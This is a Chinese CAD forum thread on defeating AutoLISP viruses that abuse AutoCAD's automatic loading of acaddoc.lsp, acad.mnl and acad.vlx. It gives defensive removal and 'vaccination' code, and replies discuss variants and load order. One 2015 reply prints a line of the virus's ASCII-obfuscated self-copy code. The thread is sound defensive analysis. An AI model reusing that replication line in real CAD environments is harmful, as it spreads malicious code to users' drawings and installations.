明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 14065|回复: 26

[讨论] acaddoc.lsp病毒破防(重磅解析源码级别)

  [复制链接]
发表于 2014-1-12 18:43:02 | 显示全部楼层 |阅读模式
acaddoc.lsp病毒破防
定义:
acaddoc.lsp病毒,其实不够资格叫病毒,只能说是利用程序自动加载的特点的恶意代码。其感染其他lisp文件一般设置开头标识,采用追加方式(算是业界良心了)。
破点:
acaddoc.lsp是lisp源码文本文件,故其是可解析破解的(当然这要有多无聊才做的事情)。而其升级版本是用fas保存源码,但在acaddoc.lsp至少存在加载语句。(做lisp恶意代码也是要多无聊才做的事情)
防点:
一般代码,避免无限次复制自己,都设置了标识。利用这个标识,可以作为代码欺骗防止感染。
我是有多无聊——还写贴说破防
粗暴做法一,全盘扫描,查杀之,但对于在服务器上画图,且有读写权限设置的情况下,是会次次感染的。
粗暴做法二,对感染目标文件设置只读属性。程序不写入文件,也写入了内存。治标之策而已。

精确破防:
本人恰好遇到两个acaddoc.lsp病毒,花了些时间破解了。病毒文件不会上传的。
不细说,直接上代码
  1. ;解决病毒一

  2. ;此处插入删除当前目录下的acad.fas,acaddoc.lsp
  3.   (if (and acaddocpath (setq virus-file (findfile (strcat acaddocpath "\\acad.fas"))))
  4.   (progn  (attset virus-file 0)
  5.   (if (vl-file-delete  virus-file) (princ (strcat virus-file "删除\n")));先删除acad.fas
  6.   ));if
  7.   
  8.   (if (and acaddocpath (setq virus-file (findfile (strcat acaddocpath "\\acaddoc.lsp"))))
  9.   (progn  (attset virus-file 0)
  10.   (if (vl-file-delete  virus-file) (princ (strcat virus-file "删除\n")));先删除acad.fas
  11.   ));if
  12.   
  13.   ;删除临时文件夹里acaddoc.lsp 和 menuname所定位置的acad.mnl acaddoc.lsp
  14.   (setq mnlpth (getvar "menuname"))
  15.   (setq dwgpre (getvar "dwgprefix"))
  16.   
  17.   (if (setq virus-file (findfile (strcat dwgpre "acaddoc.lsp")))
  18.   (progn  (attset virus-file 0)
  19.   (if (vl-file-delete  virus-file) (princ (strcat virus-file "删除\n")));先删除acaddoc.lsp
  20.   ));if
  21.   
  22.   (if (setq virus-file (findfile (strcat mnlpth ".mnl")))
  23.   (progn  (attset virus-file 0)
  24.   (if (vl-file-delete  virus-file) (princ (strcat virus-file "删除\n")));先删除acaddoc.lsp
  25.   ));if
  26.   
  27.   (if (setq virus-file (findfile (strcat mnlpth "doc.lsp")))
  28.   (progn  (attset virus-file 0)
  29.   (if (vl-file-delete  virus-file) (princ (strcat virus-file "删除\n")));先删除acaddoc.lsp
  30.   ));if
其中函数 attset 是病毒自带的(还写错了),设置文件属性作用——利用文件系统对象,本人修正,奉上
  1. (defun attset (fp code / fp1 )
  2.   (if (and fp (/= "" fp) code)
  3.     (progn (vl-load-com)
  4.     (vlax-put-property
  5.       (setq fp1 (vlax-invoke-method
  6.         (vlax-create-object "Scripting.FileSystemObject")
  7.         'GetFile
  8.         fp
  9.           )
  10.       )
  11.       'Attributes
  12.       code
  13.     )
  14.      (vlax-release-object fp1);源代码此句放置在if外,逻辑错误
  15.    );progn
  16.   );if

  17. );defun
需要这个属性设置函数将要删的文件属性设置为0.
同时,给一个attget函数,获取文件属性值。用于设置只读的文件需要追加标识的时候。
  1. (defun attget (fp / fp1 attr)
  2.   (if  (and fp (/= "" fp) )
  3.     (progn (vl-load-com)
  4.     (setq attr (vlax-get-property
  5.       (setq fp1 (vlax-invoke-method
  6.         (vlax-create-object "Scripting.FileSystemObject")
  7.         'GetFile
  8.         fp
  9.           )
  10.       )
  11.       'Attributes
  12.           ));setq attr
  13.       (vlax-release-object fp1)
  14.     )
  15.   )
  16.     attr
  17. );defun
解决病毒一里提供的目录都是根据病毒源文件调整的,是精确破杀。此文其同时解决了病毒二的源文件
接下来是设置防毒标识
子程序  app(target bz) 源代码详见附件
1,根据标识代码,检查目标文件target,如果有标识,且其后还有多行代码,则说明此中毒已深,修复之。否则提示已经修复。
2,如果没有标识,则设置标识。在追加方式打开target之前,读取其文件的属性,不判断,直接设置属性为0,追加后,再将属性改回去。
主程序 killvirus
根据病毒源代码的感染方式,主要是获取其感染目录,进行防毒。
  1. (setq bz "(setq flagx t)") ;bz为标识,为病毒开头

  2. (if (setq acadmnl (findfile "acad.mnl"));寻找acad.mnl
  3.   (progn
  4. (setq acadmnlpath (vl-filename-directory acadmnl))
  5. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"));取得该文件下的所有mnl文件。生成文件名列表,存为mnlfilelist中。
  6. (setq mnlnum (length mnlfilelist));mnlnum为mnl文件个数。
  7. ));if
  8. (setq acadexe (findfile "acad.exe"))
  9. (setq acadpath (vl-filename-directory acadexe))
  10. (setq support (strcat acadpath "\\support"));在acad.exe目录下进入support文件夹
  11. (setq lspfilelist (vl-directory-files support "*.lsp"))
  12. ;(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
  13. (setq lspnum (length lspfilelist));lspnum为support文件夹下lsp文件个数。

  14. (if dwgpath
  15.   (progn
  16.    
  17.     (if mnlnum
  18.       (progn
  19.     (setq mnln 0);mnln为序数,对上述mnl路径下的所有mnl进行感染操作。
  20.     (while (< mnln mnlnum)
  21.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)));mnlfilename为感染目标,全名。
  22.       
  23.       (app mnlfilename bz);
  24.       (setq mnln (1+ mnln))
  25.       );while
  26.     (princ (strcat "\n检查mnl文件数:"  (itoa mnlnum)));退出循环时,输出检查文件数
  27.       ));if mnlnum

  28.     (if lspnum
  29.       (progn
  30.     (setq lspn 0)
  31.     (while (< lspn lspnum)
  32.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
  33.       
  34.       (app lspfilename bz)
  35.       (setq lspn (1+ lspn))
  36.       );while
  37.      (princ (strcat "\n检查lsp文件数:"  (itoa lspnum)));退出循环时,输出检查文件数
  38.     ));if lspnum
  39.    
  40.   );progn
  41.   );if
  42.   (princ)
结果:本代码成功通过测试。详附图。
结论:
AutoCAD2014已经设置acaddoc.lsp自动加载的控制变量。
鉴于acaddoc.lsp加载次序在acad20xxdoc.lsp之后,可以设置自动加载(load "killvirus.lsp"),由于其精确破防,增加的加载时间,是可以忽略的。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x
"觉得好,就打赏"
还没有人打赏,支持一下
发表于 2015-11-11 09:15:19 | 显示全部楼层
再来一贴:
病毒载体文件:ACAD.VLX。该文件本身为 ACAD的自动加载机制的一个固定名称的自动加载文件,病毒伪装成合法文件搞鬼。
感染方式:打开一幅DWG时,ACAD.VLX 如与DWG在一个目录,则ACAD.VLX被自动加载;
         加载后动作:
            (1) 将自身复制为 {ACADSysPath}\Help\ LOGO.GIF,伪装成图片文件。
            (2) 寻找另一个自动加载文件(优先级比自身高?),如AI_UTILS.LSP,将一行代码嵌入其中,代码行为:
          (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
         意为将 LOGO.GIF 拷贝为 ACAD.VLX(且复制的目标路径为CAD的当前路径),作用为完成自身复制,用于传染。

破坏性:ACAD.VLX本身为自动加载文件,会屏蔽系统的其它自动加载文件。
回复 支持 1 反对 0

使用道具 举报

发表于 2019-9-8 22:13:51 | 显示全部楼层
有病毒杀就完了,没必要说的那么透,双刃剑哈
发表于 2019-9-8 19:47:05 | 显示全部楼层
下载下来看看,不知道能不能防毒
发表于 2014-1-12 19:12:15 | 显示全部楼层
好,学习一下,可以防病毒,我以前都是设置只读来防御的
 楼主| 发表于 2014-1-12 20:03:41 | 显示全部楼层
linjian257 发表于 2014-1-12 19:12
好,学习一下,可以防病毒,我以前都是设置只读来防御的

我遇到的病毒,是如果是只读属性,追加的病毒源码会在cad命令窗口中加载。只是不能感染了。传播还是会的。
以前没遇到,现在遇到了,就解决了,顺便写贴告知
发表于 2014-1-13 14:11:22 | 显示全部楼层
vl-file-delete不能删除隐含文件,所以该方法有漏洞
发表于 2014-1-13 14:36:09 | 显示全部楼层
值得鼓励但不完全靠谱的方法。
楼主知道ALisp病毒有多少变种么?至少我不知道。可以说,只要有点ALisp知识,只要够卑鄙,谁都可以修改,所以,没有一个万能的破解方案。
见过文件名叫做acad.vlx的病毒么?见过文件名叫做acadappp.lsp的病毒么?见过文件名叫做logo.gif的病毒么?知道病毒对acad.mnl做了些什么么?等等等等。
 楼主| 发表于 2014-1-13 16:18:49 | 显示全部楼层
lihuanqing 发表于 2014-1-13 14:11
vl-file-delete不能删除隐含文件,所以该方法有漏洞

没有仔细看代码啊,调用了属性设置函数,再调用vl-file-delete。原理上,只要有权限修改属性,都可以删掉。
 楼主| 发表于 2014-1-13 16:21:28 | 显示全部楼层
ll_j 发表于 2014-1-13 14:36
值得鼓励但不完全靠谱的方法。
楼主知道ALisp病毒有多少变种么?至少我不知道。可以说,只要有点ALisp知识 ...

没仔细看文章啊。这种代码,都有加载代码,在加载代码之前,将之删掉就行。唉,不靠谱的评论。文章已经提到,acaddoc.lsp加载在acad20xxdoc.lsp之后,所以杀毒的代码,加载在前面即可。逻辑有问题么?
发表于 2014-1-13 17:14:56 | 显示全部楼层
源码!!支持一下 只是没币~~~~
发表于 2014-1-13 17:15:11 | 显示全部楼层
林霄云 发表于 2014-1-13 16:21
没仔细看文章啊。这种代码,都有加载代码,在加载代码之前,将之删掉就行。唉,不靠谱的评论。文章已经提 ...

Alisp病毒不仅仅是在acaddoc.lsp和acad.mnl中,除了这种有“(setq flagx t)”特征的代码外,还有其它的表现形式,比如有一种是在代码中插入一句使用ascii数字写的代码的“病毒”形式,而且有些以acad.fas和acad.vlx文件传播的病毒,病毒源文件并不产生acadoc.lsp文件,我前面所说的logo.gif也只是保存病毒源文件的文件名之一,还有其它形式的文件名。
不要试图删去acad.mnl,这是acad的系统文件之一,虽然可能被“感染”,但直接删除的后果也可能是意想不到的。
按照acad文件的加载顺序,acad.lsp是很靠前的,而编译的acad.fas和acad.vlx的加载顺序都可能在自己定义的acad.lsp之前,如果想屏蔽后面的加载,必须在更前面的acad20xx.lsp中有屏蔽的代码,这些代码要自己手工加上去么?即便如此,也不能保证比和图形文件在相同目录下的acad.lsp更早加载,那么,屏蔽就无法保证了。
现在所见的明码变种文件名有acadoc.lsp、acadapp.lsp、acadapq.lsp、acadappp.lsp等,除了acaddoc.lsp外,都不是自动加载的,都是在acad.lsp中加载,而如果是编译的acad.lsp,并且随意取一个名字,能保证一定能拦截?
而且,感染的文件远不止几个常见的自动加载文件,还包括ET的一下自动加载文件及mnl文件,或许还包括其它软件设定的自动加载文件,感染了怎么办?删除显然是不可能的。
acaddoc.lsp和acad.lsp也不是随意删除的,不说acad.lsp使用很广,就是acaddoc.lsp,也有软件进行定制使用,如果贸然删除了,大概也多少有点不便吧?
 楼主| 发表于 2014-1-13 17:34:14 | 显示全部楼层
ll_j 发表于 2014-1-13 17:15
Alisp病毒不仅仅是在acaddoc.lsp和acad.mnl中,除了这种有“(setq flagx t)”特征的代码外,还有其它的表 ...

AutoCAD 将自动加载用户可定义的三个文件:“acad.lsp”、“acaddoc.lsp”和当前自定义文件附带的 MNL 文件。默认情况下,“acad.lsp”仅在启动 AutoCAD 时加载一次,而“acaddoc.lsp”可随每个文档(或图形)一起加载。这样可使用户将加载“acad.lsp”文件和启动应用程序相关联,将“acaddoc.lsp”文件和文档或图形启动相关联。

不要修改保留的“acad20xx.lsp”文件。Autodesk 提供了 acad20xx.lsp 文件,其中包含 AutoCAD 所需的 AutoLISP 定义的函数。此文件在加载“acad.lsp”文件之前加载到内存。

本文探索解决acaddoc.lsp病毒方式;对于用acad.lsp病毒,应该在其加载之前,进行删除文件操作,亦为破毒之道。对于感染了之后的文件,如果病毒是采取追加方式感染文件,亦可以修复,如果是文中插入,修复较难。

如果清晰了解到恶意代码的文件名称可目录,在其加载前加载杀毒代码,都应该是可行的破解之道。同时也是防毒之道。


您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-11-21 22:45 , Processed in 0.188980 second(s), 34 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表